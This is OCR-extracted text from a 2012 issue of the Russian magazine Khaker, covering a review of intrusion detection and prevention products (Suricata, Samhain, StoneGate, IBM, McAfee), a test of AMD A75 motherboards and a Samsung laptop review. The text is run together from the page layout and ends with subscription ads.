ОЗУ). При сборке с параметром '--enable-cuda'появляется возможность аппаратного ускорения на стороне GPU.Изначально поддерживается IPv6 (в Snort активируется ключом'--enable-ipv6'), для перехвата трафика используются стандартныеинтерфейсы: LibPcap, NFQueue, IPFRing, IPFW. Вообще, модульнаякомпоновка позволяет быстро подключить нужный элемент для захвата,декодирования, анализа или обработки пакетов. Блокировкапроизводится средствами штатного пакетного фильтра ОС (в Linuxдля активации режима IPS необходимо установить библиотекиnetlink-queue и libnfnetlink). Движок автоматически определяетОБЪЕДИНЕННЫЙ КОНТРОЛЬ УГРОЗСовременный интернет несет огромное количество угроз,поэтому узкоспециализированные системы уже не актуальны.Необходимо использовать комплексное многофункциональноерешение, включающее все компоненты защиты: файервол, IDS/IPS, антивирус, прокси-сервер, контентный фильтр и антиспамфильтр.Такие устройства получили название UTM (UnifiedThreat Management, объединенный контроль угроз). В качествепримеров UTM можно привести Trend Micro Deep Security (ru.trendmicro.com), Kerio Control (kerio.ru), Sonicwall Network Security(sonicwall.com), FortiGate Network Security Platforms andAppliances (fortinet.com) или специализированные дистрибутивыLinux, такие как Untangle Gateway, IPCop Firewall, pfSense (читайих обзор в статье «Сетевые регулировщики», ][_01_2010).и парсит протоколы (IP, TCP, UDP, ICMP, HTTP, TLS, FTP, SMB, SMTPи SCTP), поэтому в правилах необязательно привязываться к номерупорта (как это делает Snort), достаточно лишь задать действие длянужного протокола. Ivan Ristic, автор Mod_security, создал специальнуюбиблиотеку HTP, применяемую в Suricata для анализа HTTPтрафика.Разработчики прежде всего стремятся добиться точностиобнаружения и повышения скорости проверки правил.Вывод результатов унифицирован, поэтому можно использоватьстандартные утилиты для их анализа. Собственно, все бэк-энды,интерфейсы и анализаторы, написанные для Snort (Barnyard,Snortsnarf, Sguil и т. д.), без доработок работают и с Suricata. Этотоже большой плюс. Обмен по HTTP подробно журналируетсяв файле стандартного формата Apache.Основу механизма детектирования в Suricata составляют правила(rules). Здесь разработчики не стали пока ничего изобретать,а позволили подключать рулсеты, созданные для других проектов:Sourcefire VRT (можно обновлять через Oinkmaster), OpenSourceEmerging Threats (hemergingthreats.net) и Emerging Threats Pro(emergingthreatspro.com). В первых релизах поддержка была лишьчастичной, и движок не распознавал и не загружал некоторыеправила, но сейчас эта проблема решена. Реализован и собственныйформат rules, внешне напоминающий снортовский. Правилосостоит из трех компонентов: действие (pass, drop, reject или alert),заголовок (IP/порт источника и назначения) и описание (что искать).В настройках используются переменные (механизм flowint),позволяющие, например, создавать счетчики. При этом информациюиз потока можно сохранять для последующего использования.Такой подход, применяемый для отслеживания попыток подборапароля, более эффективен, чем используемый в Snort метод, которыйоперирует пороговым значением срабатывания. Планируетсясоздание механизма IP Reputation (вроде SensorBase Cisco, см.статью «Потрогай Cisco» в ][_07_2011).Резюмируя, отмечу, что Suricata — это более быстрый движок,В продуктах IBM задействованы наработки онлайн-сервиса GTOC и X-ForceSURICATA — ЭТО БОЛЕЕБЫСТРЫЙ ДВИЖОК, ЧЕМ SNORT,ПОЛНОСТЬЮ СОВМЕСТИМЫЙС НИМ ПО ПРАВИЛАМ ИБЭК-ЭНДАМ128ХАКЕР 02 /157/ 2012


Новые доспехи для IT-инфраструктурыВ конфиге Samhain указывается, какие файлы необходимо контролироватьчем Snort, полностью совместимый с ним по правилам и бэк-эндами способный проверять большие сетевые потоки. Единственныйнедостаток проекта — скудная документация, хотя опытному админуничего не стоит разобраться с настройками. В репозиторияхдистрибутивов уже появились пакеты для установки, а на сайтепроекта доступны внятные инструкции по самостоятельной сборкеиз исходников. Есть и готовый дистрибутив Smooth-sec (bailey.st/blog/smooth-sec), построенный на базе Suricata.SAMHAINРазработчик: Samhain Labs.Web: www.la-samhna.de/samhain.Реализация: программная.ОС: Unix, Linux, Windows/Cygwin.Лицензия: GNU GPLВыпускаемый под OpenSource-лицензией Samhain относитсяк хостовым IDS, защищающим отдельный компьютер. Он используетнесколько методов анализа, позволяющих полностью охватитьвсе события, происходящие в системе:• создание при первом запуске базы данных сигнатур важныхфайлов и ее сравнение в дальнейшем с «живой» системой;• мониторинг и анализ записей в журналах;• контроль входа/выхода в систему;• мониторинг подключений к открытым сетевым портам;• контроль файлов с установленным SUID и скрытых процессов.Программа может быть запущена в невидимом режиме (задействуетсямодуль ядра), когда процессы ядра невозможно обнаружитьв памяти. Samhain также поддерживает мониторинг несколькихузлов, работающих под управлением разных ОС, с регистрацией всехсобытий в одной точке. При этом установленные на удаленных узлахагенты отсылают всю собранную информацию (TCP, AES, подпись)по зашифрованному каналу на сервер (yule), который сохраняет еев БД (MySQL, PostgreSQL, Oracle). Кроме того, сервер отвечает за проверкустатуса клиентских систем, распространение обновленийи конфигурационных файлов. Реализовано несколько вариантов дляоповещений и отсылки собранной информации: e-mail (почта подписываетсяво избежание подделки), syslog, лог-файл (подписывается),Nagios, консоль и др. Управление можно осуществлять с помощьюнескольких администраторов с четко установленными ролями.Пакет доступен в репозиториях практически всех дистрибутивовLinux, на сайте проекта есть описание, как установить Samhainпод Windows.STONEGATE INTRUSION PREVENTION SYSTEMРазработчик: StoneSoft Corporation.Web: www.stonesoft.com.Реализация: программно-аппаратная, образ VMware.ОС: 32/64-битные Windows 2k3/Vista/7/2k8R2, Linux (CentOS,RHEL, SLES).Лицензия: коммерческая.ХАКЕР 02 /157/ 2012 129


SYN\ACK SYN/ACKЭто решение разработано финской компанией, которая занимаетсясозданием продуктов корпоративного класса в сфересетевой безопасности. В нем реализованы все востребованныефункции: IPS, защита от DDoS- и 0day-атак, веб-фильтрация,поддержка зашифрованного трафика и т. д. С помощью StoneGateIPS можно заблокировать вирус, spyware, определенные приложения(P2P, IM и прочее). Для веб-фильтрации используетсяпостоянно обновляемая база сайтов, разделенных на несколькокатегорий. Особое внимание уделяется защите от обхода систембезопасности AET (Advanced Evasion Techniques). ТехнологияTransparent Access Control позволяет разбить корпоративнуюсеть на несколько виртуальных сегментов без изменения реальнойтопологии и установить для каждого из них индивидуальныеполитики безопасности. Политики проверки трафика настраиваютсяпри помощи шаблонов, содержащих типовые правила.Эти политики создаются в офлайн-режиме. Администраторпроверяет созданные политики и загружает их на удаленныеузлы IPS. Похожие события в StoneGate IPS обрабатываютсяпо принципу, используемому в SIM/SIEM-системах, что существеннооблегчает анализ. Несколько устройств легко можнообъединить в кластер и интегрировать с другими решениямиStoneSoft — StoneGate Firewall/VPN и StoneGate SSL VPN. Управлениепри этом обеспечивается из единой консоли управления(StoneGate Management Center), состоящей из трех компонентов:Management Server, Log Server и Management Client. Консольпозволяет не только настраивать работу IPS и создавать новыеправила и политики, но и производить мониторинг и просматриватьжурналы. Она написана на Java, поэтому доступны версиидля Windows и Linux.StoneGate IPS поставляется как в виде аппаратного комплекса,так и в виде образа VMware. Последний предназначендля установки на собственном оборудовании или в виртуальнойинфраструктуре. И кстати, в отличие от создателей многих подобныхрешений, компания-разработчик дает скачать тестовуюверсию образа.IBM SECURITY NETWORK INTRUSIONPREVENTION SYSTEMРазработчик: IBM.Web: www.ibm.com/ru.Реализация: программно-аппаратная, образ VMware.Лицензия: коммерческая.Система предотвращения атак, разработанная IBM, используетзапатентованную технологию анализа протоколов, котораяобеспечивает превентивную защиту в том числе и от 0day-угроз.Как и у всех продуктов серии IBM Security, его основой являетсямодуль анализа протоколов — PAM (Protocol Analysis Module),сочетающий в себе традиционный сигнатурный метод обнаруже-Конфигурационный файл Suricata понятен тем, кто возился с настройками Snort130ХАКЕР 02 /157/ 2012


Новые доспехи для IT-инфраструктурыния атак (Proventia OpenSignature) и поведенческий анализатор.При этом PAM различает 218 протоколов уровня приложений(атаки через VoIP, RPC, HTTP и т. д.) и такие форматы данных,как DOC, XLS, PDF, ANI, JPG, чтобы предугадывать, куда можетбыть внедрен вредоносный код. Для анализа трафика используетсяболее 3000 алгоритмов, 200 из них «отлавливают» DoS.Функции межсетевого экрана позволяют разрешить доступтолько по определенным портам и IP, исключая необходимостьпривлечения дополнительного устройства. Технология VirtualPatch блокирует вирусы на этапе распространения и защищаеткомпьютеры до установки обновления, устраняющего критическуюуязвимость. При необходимости администратор сам можетсоздать и использовать сигнатуру. Модуль контроля приложенийпозволяет управлять P2P, IM, ActiveX-элементами, средствамиVPN и т. д. и при необходимости блокировать их. Реализован модульDLP, отслеживающий попытки передачи конфиденциальнойинформации и перемещения данных в защищаемой сети, чтопозволяет оценивать риски и блокировать утечку. По умолчаниюраспознается восемь типов данных (номера кредиток, телефоны…),остальную специфическую для организации информациюадмин задает самостоятельно при помощи регулярных выражений.В настоящее время большая часть уязвимостей приходитсяна веб-приложения, поэтому в продукт IBM входит специальныймодуль Web Application Security, который защищает системыот распространенных видов атак: SQL injection, LDAP injection,XSS, JSON hijacking, PHP file-includers, CSRF и т. д.Предусмотрено несколько вариантов действий при обнаруженииатаки — блокировка хоста, отправка предупреждения,запись трафика атаки (в файл, совместимый с tcpdump), помещениеузла в карантин, выполнение настраиваемого пользователемдействия и некоторые другие. Политики прописываютсявплоть до каждого порта, IP-адреса или зоны VLAN. Режим HighAvailability гарантирует, что в случае выхода из строя одногоиз нескольких устройств IPS, имеющихся в сети, трафик пойдетчерез другое, а установленные соединения не прервутся. Всеподсистемы внутри железки — RAID, блок питания, вентиляторохлаждения — дублированы. Настройка, производящаяся припомощи веб-консоли, максимально проста (курсы обучениядлятся всего один день). При наличии нескольких устройствобычно приобретается IBM Security SiteProtector, который обеспечиваетцентрализованное управление, выполняет анализлогов и создает отчеты.ГДЕ РАЗВЕРНУТЬ IDS/IPS?Чтобы максимально эффективно использовать IDS/IPS, нужнопридерживаться следующих рекомендаций:• Систему необходимо разворачивать на входе защищаемой сетиили подсети и обычно за межсетевым экраном (нет смыслаконтролировать трафик, который будет блокирован) — так мыснизим нагрузку. В некоторых случаях датчики устанавливаюти внутри сегмента.• Перед активацией функции IPS следует некоторое времяпогонять систему в режиме, не блокирующем IDS. В дальнейшемпотребуется периодически корректировать правила.• Большинство настроек IPS установлены с расчетомна типичные сети. В определных случаях они могут оказатьсянеэффективными, поэтому необходимо обязательно указать IPвнутренних подсетей и используемые приложения (порты). Этопоможет железке лучше понять, с чем она имеет дело.• Если IPS-система устанавливается «в разрыв», необходимоконтролировать ее работоспособность, иначе выход устройстваиз строя может запросто парализовать всю сеть.Консоль управления StoneGate IPSMCAFEE NETWORK SECURITY PLATFORM 7Разработчик: McAfee Inc.Web: www.mcafee.com.Реализация: программно-аппаратная.Лицензия: коммерческая.IntruShield IPS, выпускавшийся компанией McAfee, в свое времябыл одним из популярных IPS-решений. Теперь на его основе разработанMcAfee Network Security Platform 7 (NSP). В дополнениеко всем функциями классического NIPS новый продукт получилинструменты для анализа пакетов, передаваемых по внутреннейкорпоративной сети, что помогает обнаруживать зловредныйтрафик, инициируемый зараженными компами. В McAfee используетсятехнология Global Threat Intelligence, которая собираетинформацию с сотен тысяч датчиков, установленных по всемумиру, и оценивает репутацию всех проходящих уникальных файлов,IP- и URL-адресов и протоколов. Благодаря этому NSP можетобнаруживать трафик ботнета, выявлять 0day-угрозы и DDoSатаки,а такой широкий охват позволяет свести к нулю вероятностьложного срабатывания.Не каждая IDS/IPS может работать в среде виртуальных машин,ведь весь обмен происходит по внутренним интерфейсам. Но NSPне испытывает проблем с этим, он умеет анализировать трафикмежду VM, а также между VM и физическим хостом. Для наблюденияза узлами используется агентский модуль от компании ReflexSystems, который собирает информацию о трафике в VM и передаетее в физическую среду для анализа.Движок различает более 1100 приложений, работающихна седьмом уровне OSI. Он просматривает трафик при помощи механизмаконтент-анализа и предоставляет простые инструментыуправления.Кроме NIPS, McAfee выпускает и хостовую IPS — Host IntrusionPrevention for Desktop, которая обеспечивает комплексную защитуПК, используя такие методы детектирования угроз, как анализповедения и сигнатур, контроль состояния соединений с помощьюмежсетевого экрана, оценка репутации для блокирования атак.ЗАКЛЮЧЕНИЕПобедителей определять не будем. Выбор в каждом конкретномслучае зависит от бюджета, топологии сети, требуемых функцийзащиты, желания админа возиться с настройками и, конечно же,рисков. Коммерческие решения получают поддержку и снабжаютсясертификатами, что позволяет использовать эти решения в организациях,занимающихся в том числе обработкой персональныхданных Распространяемый по OpenSource-лицензии Snort прекраснодокументирован, имеет достаточно большую базу и хорошийпослужной список, чтобы быть востребованным у сисадминов.Совместимый с ним Suricata вполне может защитить сеть с большимтрафиком и, главное, абсолютно бесплатен. zХАКЕР 02 /157/ 2012 131


FERRUMСергей ПлотниковЯ ТВОЙSANDY BRIDGEТРУБА ШАТАЛТЕСТИРОВАНИЕ МАТЕРИНСКИХПЛАТ НА БАЗЕ ЧИПСЕТА AMD A75Ассимиляция! Пожалуй, этим заумнымсловом можно охарактеризовать потуги Intelи AMD выпустить кремниевое устройство «всёв одном». И если у первых графика, как всегда,хромает на обе ноги, то у «красных» кишкатонка тягаться со своим конкурентом в сферех86-приложений.В сегодняшнем тесте ты познакомишьсяс достаточно дорогими моделями, пропагандирующимине только оверклокинг, но и,например, массивы видеокарт. В связкес AMD Llano можно использовать технологиюAMD Dual Graphics, а в некоторых случаяхи полноценный дуэт графических адаптеров,объединенных в CrossFireX. Правда, в плане«обычной» производительности, то естьв х86-приложениях, AMD Llano уступает IntelSandy Bridge. И тем не менее, хороший разгонныйпотенциал позволяет собрать на базепроцессора AMD A8/A6 шуструю игровуюмашинку.Особняком в нашем тесте стоит материнскаяплата ASUS F1A75-V PRO. Компанияпроизводительне постеснялась и буквальнонавешала на свое устройство всякого родафенечки: от абсолютно бесполезных до реальнокрутых! Чуть забегая вперед, скажем, чтодля создания достаточно производительногодесктопа на «маме» лучше не экономить.О каких же деньгах тут идет речь? Есливерить ресурсу «Яндекс Маркет», то на моментнаписания статьи топовый камень AMDA8-3850 стоил 4000 рублей. Столько же стоитматеринская плата. За набор оперативнойпамяти объемом 4 Гб и частотой 2400 МГц(о том, почему мы рекомендуем память с частотойименно 2400 МГц, читай далее) придетсявыложить порядка 7000 рублей. Остальныекомплектующие — по вкусу. В итоге за связкупроцессор-плата-память придется отдатьпорядка 15 000 рублей. Согласись, не так уж имного за топое железо!ТЕСТОВЫЙ СТЕНД:Процессор: AMD A8-3850, 2,9 ГГцКулер: Scythe NINJA 3Оперативная память: CorsairCMGTX7 @2400 МГц, 1x 4 ГбSSD: Kingston SVP100ES2/64G,64 ГбБлок питания: HIPER TYPE K1000,1000 ВтОС: Windows 7 Максимальная132ХАКЕР 02 /157/ 2012


Позови NAS к себеASROCK A75 PRO4Итак, мы начинаем. Первой по алфавиту идет материнская платаASRock A75 Pro4. Перед нами сразу же предстает топовоеустройство! Об этом красноречиво свидетельствует наличиетаких оверклокерских фишек, как кнопки запуска/перезагрузки системыи обнуления настроек BIOS. Вообще, на базе «четвертой» никтоне помешает тебе собрать достаточно производительный десктоп.Правда, с разгоном у нас дела как-то не заладились. Все попыткиподнять шину выше отметки 105 МГц закончились «выпадением» SATAконтроллера.В итоге система вроде бы работала стабильно (по крайнеймере в BIOS), но зайти в операционную систему не получалось.Попытки разогнать «камень» и память с помощью функции EZ OCMode также провалились. Для тех, кто не в курсе, поясним: теоретическидостаточно клацнуть в BIOS’е всего один раз, чтобы разогнатьCPU до 3300/3400/3500/3600 МГц и «мозги» до 2000/2200/2500 МГц.Но не тут-то было! Не сра-бо-та-ло! Перепрошивка BIOS до версии 1.80никаких дивидендов не принесла. В общем, очевидно, что прошивкаASRock A75 Pro4 оставляет желать лучшего. Остается лишь надеяться,что со временем эта проблема будет решена.3500РУБ.4000РУБ.ASROCK A75EXTREME6ак говорится, первый блин комом. Посмотрим, что удастсявыжать из ASRock A75 Extreme6. Вообще, линейка Extreme6Кявляется гордостью тайваньской компании. В недалекомпрошлом мы уже изучали материнские платы на базе чипсета IntelP67 Express. Настало время AMD. Прошли те времена, когда с ASRockассоциировались исключительно бюджетные решения. Но с топовогопродукта и спрос соответствующий. Материнская плата ASRock A75Extreme6 в своем роде уникальна: на текстолите распаяно сразу трипорта PCI Express x16. Правда, в случае использования массива видеокартCrossFireX работать они будут по схеме х8 + х8 + х4.В плане разгона ASRock A75 Extreme6 оказалась пошустрее «прошки».Однако скажем сразу: нам не удалось достичь даже показателейчуть выше среднего. После увеличения частоты шины до 112 МГцпроцессор с частотой 112 х 29 = 3248 МГц, а память —112 х 18,66=2089,92МГц. Функция EZ OC Mode также оказалась абсолютно бесполезной.Плюс на базе AMD Llano можно собрать медиацентрлюбой сложности. В общем, с AMD Llanoне соскучишься — он предоставляет обширныйпростор для творчества.МЕТОДИКА ТЕСТИРОВАНИЯОпять возвращаемся к разгону. Удивительноприятно осознавать, что оверклокинг платы существенноповышает производительность всейсистемы. За счет набора множителей процессораи оперативной памяти разгон «мам» по шинедают колоссальный эффект. Так, графическийкластер AMD Llano буквально преображаетсяи из гадкого утенка в великолепного лебедя.Не так давно компания GIGABYTE представиларолик, в котором было показано, как на машинес процессором AMD A8-3850, разогнаннымдо 3600 МГц, преспокойно играют в Crysis 2.Повторим, в Crysis 2! Мы решили последоватьпримеру инженеров тайваньской компаниии установить рамку. Оценку «отлично» получалите платы, при использовании которых удавалосьспокойно играть в Crysis 2 с разрешением1920 x 1080 точек и максимальном качестве графики,но в среде DirectX 9. «Отлично» — означаетне меньше 25 FPS. При этом выставлялисьмаксимальные множители памяти и процессора.Для более полного анализа мы воспользовалисьфинским бенчмарком 3DMark Vantageи выбрали режим теста performance. Наконец,после тестирования на игровых приложенияхмы снижали множители «камня» и памятии определяли максимальный потолок частотышины у материнских плат, которого удалось достичьпри воздушном охлаждении. Все результатызаносились в сводные диаграммы.ХАКЕР 02 /157/ 2012 133


FERRUMASUS F1A75-I DELUXEнтересный концепт материнской платы представила компанияASUS. Устройство F1A75-I Deluxe выполнено в формфактореMini-ITX и при этом оснащено полноценным слотом PCIИExpress x16. Из-за габаритов остальным слотам места не нашлось.Но горевать не стоит. Слово Deluxe в названии текстолитового гаджетаговорит о поддержке беспроводных технологий Wi-Fi и Bluetooth.В общем, ASUS F1A75-I Deluxe — идеальный вариант для тех, кто хочетсобрать HTPC в микроскопическом корпусе. Удивительное рядом: этуплату оснастили вполне боеспособными функциями разгона. Хорошознакомый UEFI BIOS великолепно оптимизирован. Благодаря этомунаша крошка выдала на-гора 118 МГц по шине. После такого разгонапроцессор заработал на частоте 118 х 29 = 3422 МГц, а память —на частоте 118 х 18,66 = 2201,88 МГц. Большего достичь в любом случаене удастся. Хотя бы потому, что на процессор не получится установитьмощный габаритный кулер. Он либо не влезет, либо перекроет оперативнуюпамять и слот PCI Express x16. С другой стороны, такой кулер,как, например, Scythe Big Shuriken, позволит одновременно охлаждатьи процессор, и память, и подсистему питания материнской платы.n/aASUS F1A75-V PRO4000РУБ.атеринская плата ASUS F1A75-V PRO уже гостила в нашейтестовой лаборатории. Не так давно в рубрике «Разгон»Мименно она служила путеводной звездой во время пробногоразгона AMD Llano. И, надо признаться, показала себя только с лучшейстороны! В этот раз нам удалось стабильно работать на частоте шины140 МГц. При такой частоте тактового генератора процессор можетработать с частотой 140 х 29 = 4060 МГц, а память — с частотой 140 х18,66=2612,4 МГц. Но, к сожалению, в первом случае воздушная системаохлаждения не справилась с разгоряченным «камнем». В случаес ОЗУ нужно еще постараться найти такой кит. В итоге нам пришлосьснизить частоту шины и проходить тесты при меньших показателях«камня» и памяти. Тем не менее, рубеж 25 FPS в Crysis 2 был пройден!Как мы и обещали, плата получает оценку «отлично».Для тех, кому подобная прыть от AMD Llano покажется недостаточной,предусмотрена поддержка двух слотов PCI Express x16,работающих согласно схеме х16 + х4. Также ты можешь рассчитыватьна парочку PCI Express x1 и трио PCI. Эквивалентный функционалв совокупности с большим количеством SATA- и USB-портов последнихпоколений превращает материнскую плату ASUS F1A75-V PROв универсальное устройство.ТЕХНИЧЕСКИЕХАРАКТЕРИСТИКИASRock A75 Pro4ASRock A75 Extreme6ASUS F1A75-IDeluxeСокет:Память:Слоты расширения:Дисковые контроллеры:Аудио:Сеть:FM11066–2400 МГц1x PCI Express x16, 1x PCI Express x4, 2xPCI Express x1, 3x PCI5x SATA 3.07.1 CH HD Realtek ALC892Realtek RTL8111E, 10/100/1000 Мбит/сFM11066–2400 МГц1x PCI Express x16, 1x PCI Express x8, 1x PCIExpress x4, 1x PCI Express x1, 3x PCI8x SATA 3.07.1 CH HD Realtek ALC892Realtek RTL8111E, 10/100/1000 Мбит/сFM11066–1866 МГц1x PCI Express x165x SATA 3.07.1 CH HD Realtek ALC892Realtek RTL8111E, 10/100/1000 Мбит/с; Wi-Fi802.11 b/g/nРазъемы на задней панели:1x D-Sub, 1x DVI, 1x HDMI, 4x USB 3.0, 2xUSB 2.0, 1x eSATA, 1x FireWire, 1x S/PDIF,1x RJ-45, 1x PS/2, 5x audio1x D-Sub, 1x DVI, 1x HDMI, 4x USB 3.0, 2x USB 2.0,1x eSATA, 1x FireWire, 1x S/PDIF, 1x RJ-45, 1xPS/2, 6x audio1x DisplayPort, 1x DVI, 1x HDMI, 2x USB 3.0, 4xUSB 2.0, 1x eSATA, 1x FireWire, 1x S/PDIF, 1x RJ-45, 1x PS/2, 1x Bluetooth, 3x audioФормфактор:ATXATXMini-ITX134ХАКЕР 02 /157/ 2012


Позови NAS к себеGIGABYTE GA-A75M-D2Hознакомимся с материнской платой GIGABYTE GA-A75M-D2H.Как видно по картинке, перед нами устройство формфактораПmATX. Во многом из-за этого инженерам тайваньской компаниипришлось уменьшить число слотов DIMM до двух. Но порты для ОЗУ расположенынастолько близко к процессорному гнезду, что при использованиигабаритного кулера башенного типа киты попросту не поместятся.В ходе тестирования нам пришлось снимать систему охлаждения с китаоперативки. Поэтому советуем внимательно отнестись к выбору системыохлаждения CPU. Вторым недостатком разводки GIGABYTE GA-A75M-D2Hмы считаем распаянные SATA-коннекторы. Но он проявится только прииспользовании габаритной видеокарты. В остальном к столь миниатюрнойплате претензий по разводке нет. Назовите автора этой статьистаромодным, но как же приятно работать с прежним BIOS’ом от Award.Привычный голубой экран, привычное меню M.I.T. и никакой поддержкимыши! Это, возможно, совпадение, но именно бюджетная материнскаяплата GIGABYTE GA-A75M-D2H с таким BIOS’ом продемонстрироваладостаточно неплохие результаты разгона. И это при наличии скромныхпо сегодняшним меркам пяти фаз питания CPU. При увеличении частотышины до 128 МГц «камень» заработал с частотой 128 х 28 = 3584 МГц, апамять — с частотой 128 х 18,66 = 2388,5 МГц. Максимальная частота шиныдостигала 134 МГц.3000РУБ.MSI A75MA-G553000РУБ.ак получилось, что в сегодняшнем тесте участвовал всегоодин продукт компании MSI. Материнская плата MSIТA75MA-G55 может постоять за себя, ведь на страже стабильностиустройства, да и всей системы, стоит технология Military ClassII. Конечно, маркетологи наверняка постарались выставить всё вярком свете. Но в то же время тяжело отрицать эффективность японскихтвердотельных конденсаторов и высококачественных элементовпитания. При этом цена MSI A75MA-G55 весьма демократична.Идем дальше. BIOS материнской платы MSI A75MA-G55, как пацанчикиз Южного Бутово, четкий. Здесь нет расплывчатых понятий. Еслии можно поднять частоту шины, то лишь до 128 МГц. Если и можноподнять напряжение, то только на определенную величину, причемне очень большую. В итоге уже чисто визуально заметно, что в планеоверклокинга много из этой платы не выжмешь. Тем не менее, 115 МГцна шине мы получили. Процессор заработал на частоте 115 х 29 = 3335МГц, а память — на частоте 115 х 18,66 = 2145,9 МГц.ASUS F1A75-VPROFM11066–2250 МГц1x PCI Express x16, 1x PCI Express x4,2x PCI Express x1, 3x PCI7x SATA 3.07.1 CH HD Realtek ALC892Realtek RTL8111E, 10/100/1000 Мбит/с1x D-Sub, 1x DisplayPort, 1x DVI,1x HDMI, 4x USB 3.0, 2x USB 2.0, 1xeSATA, 1x FireWire, 1x S/PDIF, 1x RJ-45, 1x PS/2, 6x audioATXFM11066–2400 МГц1x PCI Express x16, 1x PCI Express x4,1x PCI Express x1, 1x PCI6x SATA 3.07.1 CH HD Realtek ALC889Realtek RTL8111E, 10/100/1000 Мбит/с1x D-Sub, 1x DVI, 1x HDMI, 2x USB 3.0,4x USB 2.0, 1x S/PDIF, 1x RJ-45, 1xPS/2, 3x audiomATXGIGABYTE GA-A75M-D2HMSI A75MA-G55FM11066–1600 МГц1x PCI Express x16, 1x PCI Express x4, 1xPCI Express x1, 1x PCI6x SATA 3.07.1 CH HD Realtek ALC887Realtek RTL8111E, 10/100/1000 Мбит/с1x D-Sub, 1x DVI, 1x HDMI, 2x USB 3.0, 4xUSB 2.0, 1x RJ-45, 1x PS/2, 6x audiomATXС НИМИ ДЯДЬКА ЧЕРНОМОРВот парадокс: все устройства, которые мытестировали, наверняка найдут своего покупателя,хотя у нас и было к ним много претензий.В оправдание производителей можно сказать, чтосо временем, после пары-тройки перепрошивокBIOS, всё устаканится. Нам же остается раздатьнаграды. За великолепную производительностьи замечательный оверклокерский потенциалприз «Выбор редакции» достается материнкеASUS F1A75-V PRO. Плата GIGABYTE GA-A75M-D2Hпри полном отсутствии конкурентов «загребает»титул «Лучшая покупка». Также хочется отметитьматеринскую плату GIGABYTE GA-A75-UD4H за ееуникальные способности в области разгона процессораи оперативной памяти. zХАКЕР 02 /157/ 2012 135


FERRUMСергей Никитин40 000РУБ.ТЕХНИЧЕСКИЕХАРАКТЕРИСТИКИ:Размер экрана: 17.3", 1920х1080 точекПроцессор: Intel Core i5-2410M, 2.4 ГГцОперативная память: DDR3-1333, 6 ГбВидеоплата: AMD Radeon 6650M, 2 ГбЖесткий диск: 500 ГбСетевые возможности: Gigabit LAN,Wi-Fi , Bluetooth 3.0Дополнительно: 3D-очкиОперационная система: Windows 7 х64Габариты: 415.8х276.1x32.3х 37.9 ммВес: 2.9 кгРЕЗУЛЬТАТЫ ТЕСТИРОВАНИЯ:WinRAR: 2369 Кб/сSuper Pi (16M): 330 сPCMark’05: 8788 баллов3DMark Vantage: 4431 баллаResident Evil 5: 59 FPSCall of Juarez: 21.5 FPSAlien VS Predator: 13 FPSHeaven Dragon: 12 FPSBattery Eater: 67 минутSAMSUNG RF712-S01УНИВЕРСАЛЬНЫЙ НОУТБУК ДЛЯ РАЗВЛЕЧЕНИЙ!Сегодняшние ноутбуки практически ни в чемне уступают своим настольным собратьям.И это факт. Они собраны из мощных компонентов,позволяющих запускать новейшиеигровые хиты. Они практичны и удобны в использовании.Кроме того в лэптоп подчас кудалегче внедрить какую-нибудь интересную технологию.Например, ноутбук Samsung RF712может, помимо всего вышеперечисленного, похвастатьсяеще и возможностью работы с 3D!МЕТОДИКА ТЕСТИРОВАНИЯДля проверки того, на что способен этотмобильный компьютер, мы применили нашуспециально разработанную для таких случаевметодику. Она состоит из трех групп программ— тех, которые вычисляют производительностьсвязки процессор-память, синтетическихбенчмарков и настоящих игровыхприложений. В первую группу вошли тест,встроенный в архиватор WinRAR, и утилитаSuper Pi. Вторая представлена продуктамиFuturemark: PCMark'05 и 3DMark Vantage. А вигровую группу вошли тесты Resident Evil 5,Call of Juarez, Alien Vs. Predator и Heaven. Онизапускались с параметрами по умолчаниюи разрешением 1280х1024 точек. Время работыот батареи проверялось с помощью утилитыBattery Eater – режим «классический».ПЕРВОЕ ЗНАКОМСТВОМодель Samsung RF712 выглядит солиднои внушительно, но при этом не производит впечатленияскучного ноутбука. У него симпатичный,современный дизайн. На наш взгляд оченьудачно выполнена подсветка клавиш. Дополняетобщее позитивное впечатление большойдисплей. О нем стоит рассказать особо, так какпроизводитель позиционирует его как «самыйяркий ноутбучный дисплей в мире». Кроме того,одев идущие в комплекте 3D-очки и, запустивсоответствующую игру или фильм, ты получишьтрехмерную картинку. Думаем, про актуальность3D лишний раз напоминать не стоит.Вообще же, Samsung RF712 оснащен практическивсеми новейшими технологиями. К услугампользователя будет доступен: Wi-FI стандарта801.11n, привод Blu-Ray, USB 3.0 и Bluetooth3.0. Ну а про современное «железо» и говоритьнечего . Все тесты производительности SamsungRF712 завершил с весьма хорошими результатами,на нем можно как комфортно работать, таки играть в любые современные игры. Спасибопроцессору Intel Core i5-2410M и дискретнойвидеокарте AMD Radeon 6650M.И ЕЩЕ НЕМНОГОКак и у других устройств от Samsung, у моделиRF712 есть много дополнительных фишек.Некоторые из них не только весьма интересны,но и полезны. Например, возможность подзарядкиразличных мобильных USB-устройствот соответствующего порта компьютера, дажеесли он выключен. Или вот функция ускоренноговыхода из спящего режима. Несомненно,к приятным моментам относится и весьмасолидный набор программного обеспечения,который идет с Samsung RF712 в комплектепоставки.ВЫВОДЫНоутбук Samsung RF712 получился оченьинтересным. Он под завязку набит новейшимитехнологиями, современным «железом»и прочими вкусностями. Да, пожалуй, передтобой действительно идеальный ноутбук дляразвлечений. Осталось проверить, готов липопкорн в микроволновке! z136ХАКЕР 02 /157/ 2012


350.589>> coding6 номеров — 1110 руб.13 номеров — 1999 руб.6 номеров — 1110 руб.13 номеров — 1999 руб.ПОДПИШИСЬ!shop.glc.ruРедакционная подписка без посредников —это гарантия получения важного для Васжурнала и экономия до 40% от розничнойцены в киоске8-800-200-3-999+7 (495) 663-82-77 (бесплатно)6 номеров — 564 руб.13 номеров — 1105 руб.6 номеров — 1110 руб.13 номеров — 1999 руб.6 номеров — 810 руб.13 номеров — 1499 руб.6 номеров — 1110 руб.13 номеров — 1999 руб.6 номеров — 630 руб.13 номеров — 1140 руб.6 номеров — 895 руб.13 номеров — 1699 руб.6 номеров — 1194 руб.13 номеров — 2149 руб.6 номеров — 894 руб.13 номеров — 1699 руб. AUDI A7NEED FOR SPEED: THE RUN6 номеров — 690 руб.13 номеров — 1249 руб.6 номеров — 775 руб.13 номеров — 1399 руб.6 номеров — 950 руб.13 номеров — 1699 руб.6 номеров — 810 руб.13 номеров — 1499 руб.


